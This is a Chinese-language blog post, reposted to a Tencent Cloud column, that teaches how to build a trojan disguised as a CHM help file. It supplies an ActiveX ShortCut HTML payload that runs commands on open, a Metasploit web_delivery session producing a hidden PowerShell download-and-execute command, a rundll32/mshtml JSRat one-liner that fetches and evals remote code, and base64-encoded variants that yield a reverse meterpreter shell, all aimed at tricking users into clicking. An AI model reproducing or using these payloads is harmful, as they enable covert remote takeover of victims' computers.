前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >制作chm格式木马病毒

制作chm格式木马病毒

作者头像
程序猿的栖息地
发布2022-04-29 16:06:43
5.6K2
发布2022-04-29 16:06:43
举报
文章被收录于专栏:程序猿的栖息地

1.CHM文件简介

CHM是英语“Compiled Help Manual”的简写,即“已编译的帮助文件”。CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

CHM文件格式是微软1998年推出的基于HTML文件特性的帮助文件系统,以替代早先的WinHelp帮助系统,它也是一种超文本标识语言,在Windows 98中把CHM类型文件称作“已编译的HTML帮助文件”。被IE浏览器支持的Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过URL与Internet联系在一起。

CHM文件因为使用方便,形式多样也被采用作为电子书的格式。

在普通用户眼里,CHM文件与txt文件一般无二,防御心理较弱。因此,一旦制作CHM文件木马,其传递更易,危害更广。

恰恰,CHM支持脚本语言编程,这为制作木马,产生了天然的便利条件。

2.CHM脚本初体验

因CHM是以HTML作源文,因此,我们新键一个HTML文件,命名为”说明文档.html”。在其中写入:

代码语言:javascript
复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用EasyCHM等工具制作成CHM文件。点击该CHM文件,此时,你会看到,计算器小工具被打开了。

这是因为在html文件中,写入了

代码语言:javascript
复制
<PARAM name="Item1" value=',calc.exe'>

此时,我们思考一下,倘若这个”calc.exe”修改为”cmd /c net user arche 123456 /add”会怎么样呢?是的,一个小木马已经初见雏形了。

3.POWERSHELL木马制作

由2我们已经知道CHM制作木马的整体流程了,那么,如何制作一款能够弹回shell环境的木马呢?木马的脚本又是怎么编写呢?

微软在windows 7+的系统中内置了一种强大的脚本语言Powershell。正如其名,这款语言十分强大。不过,强大的语言带来的方便的同时,也增加了安全问题。

Powershell具体教程此处不再累叙。有兴趣的同学可以访问Google。(Google说:记得带梯子啊。</坏笑>)

此处我们介绍怎么用metasploit来生成Powershell后门。

代码语言:javascript
复制
root@kali:~# msfconsole

msf  >  use exploit/multi/script/web_delivery
msf exploit(web_delivery) >  set target 2
target => 2
msf exploit(web_delivery) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.17.131
lhost => 192.168.17.131
msf exploit(web_delivery) > set lport 9999
lport => 9999
msf exploit(web_delivery) > set srvport 8888
srvport => 8888
msf exploit(web_delivery) > set uripath /
uripath => /

msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.17.131:9999
[*] Using URL: http://0.0.0.0:8888/
[*] Local IP: http://192.168.17.131:8888/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');

此时,我们可以看到,metasploit已经生成我们要的powershell木马脚本了:

代码语言:javascript
复制
powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');

用户只要在dos窗口或者powershell环境运行上述代码,即会反弹一个shell给我们了。 4.CHM后门制作

代码语言:javascript
复制
<PARAM name="Item1" value=',calc.exe'>

里面写入上述3中的powershell代码是不是就直接能生成CHM后门了呢?

答案是:理论上是的。

直接在chm中写入powershell代码你会发现,执行powershell会弹出一个黑框?代码执行了没有生效?(至于为什么没有生效,可能跟CHM的语法相关,我尝试过修改参数格式几次后没再尝试了,有兴趣的同学可以去查阅资料。)弹出一个黑框?这不就完全暴露了自己是木马了吗?

看来直接在chm中写入powershell命令目前来说肯定是不合理的方式的。如何来解决弹框问题呢?

原作者实在是太厉害了。更换一种姿势来反弹shell,虽然该shell不如前述shell强大,但可以使用该shell再产生前述shell。这种姿势不会弹出黑框,完美解决问题。

首先下载原作者所修改的JSRat:

https://github.com/Ridter/MyJSRat

执行命令

代码语言:javascript
复制
python MyJSRat.py -i 192.168.17.131 -p 8080

访问http://192.168.17.131:8080/wtf,你会看到生成的后门脚本:

代码语言:javascript
复制
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.17.131:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

此时,将该脚本写入CHM中

代码语言:javascript
复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.17.131:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

生成CHM文件并诱导用户点击。并没有任何黑框弹出来,然而一个简易的shell便建立了。

在该shell环境下,输入run,然后再输入前面生成的powershell后门脚本,一个强大的shell环境便产生了。至此,整个木马制作已经完成。

5.高级组合

上面已经完成了后门的制作了,可是流程还是较为复杂。能否在用户点击CHM文档后就直接弹回meterpreter shell呢?答案是可以的。

MyJSRat支持命令行发送模式启动,也就是说,启动MyJSRat后,只要用户一连接则会执行指定的命令行。格式为:

代码语言:javascript
复制
python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');"

当然你会发现,上述powershell命令并未生效。</坏笑>

上述powershell命令中存在特殊字符,导致命令失效。这时,我们可以将powershell要执行的命令进行base64编码来解决该问题。

代码语言:javascript
复制
oot@kali:~# echo '$M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');"' >> ~/shellcode.txt

root@kali:~# cat ~/shellcode.txt | iconv --to-code UTF-16LE |base64
JABNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAk
AE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUA
dABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABNAC4AUAByAG8AeAB5AC4AQwBy
AGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMA
aABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAk
AE0ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKABoAHQAdABwADoALwAvADEAOQAyAC4A
MQA2ADgALgAxADcALgAxADMAMQA6ADgAOAA4ADgALwApADsAIgAKAA==

这时,可以使用powershell 执行base64编码命令来启动MyJSRat了:

代码语言:javascript
复制
python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell -ep bypass -enc JABNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAkAE0ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADcALgAxADMAMQA6ADgAOAA4ADgALwApADsAIgAKAA==

诱导用户点击前面制作的CHM文件,你会发现,全程并无任何黑框出现,直接弹回了meterpreter会话了。perfect!

6.总结

普通用户由于对CHM认知不够,对CHM文件防御心理较弱,因此制作CHM木马容易被执行。而CHM天然对脚本的支持使得制作CHM木马十分简便。

在制作CHM木马时,由于powershell的强大,因此选择powershell做为后门脚本语言。

可是由于powershell脚本会弹出黑框,容易被发现,因此需要先生成中间层的不容易被发现的简易shell,来执行powershell脚本代码。最终实现不弹黑框、功能强大的shell环境。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序猿的栖息地 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 5.高级组合
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档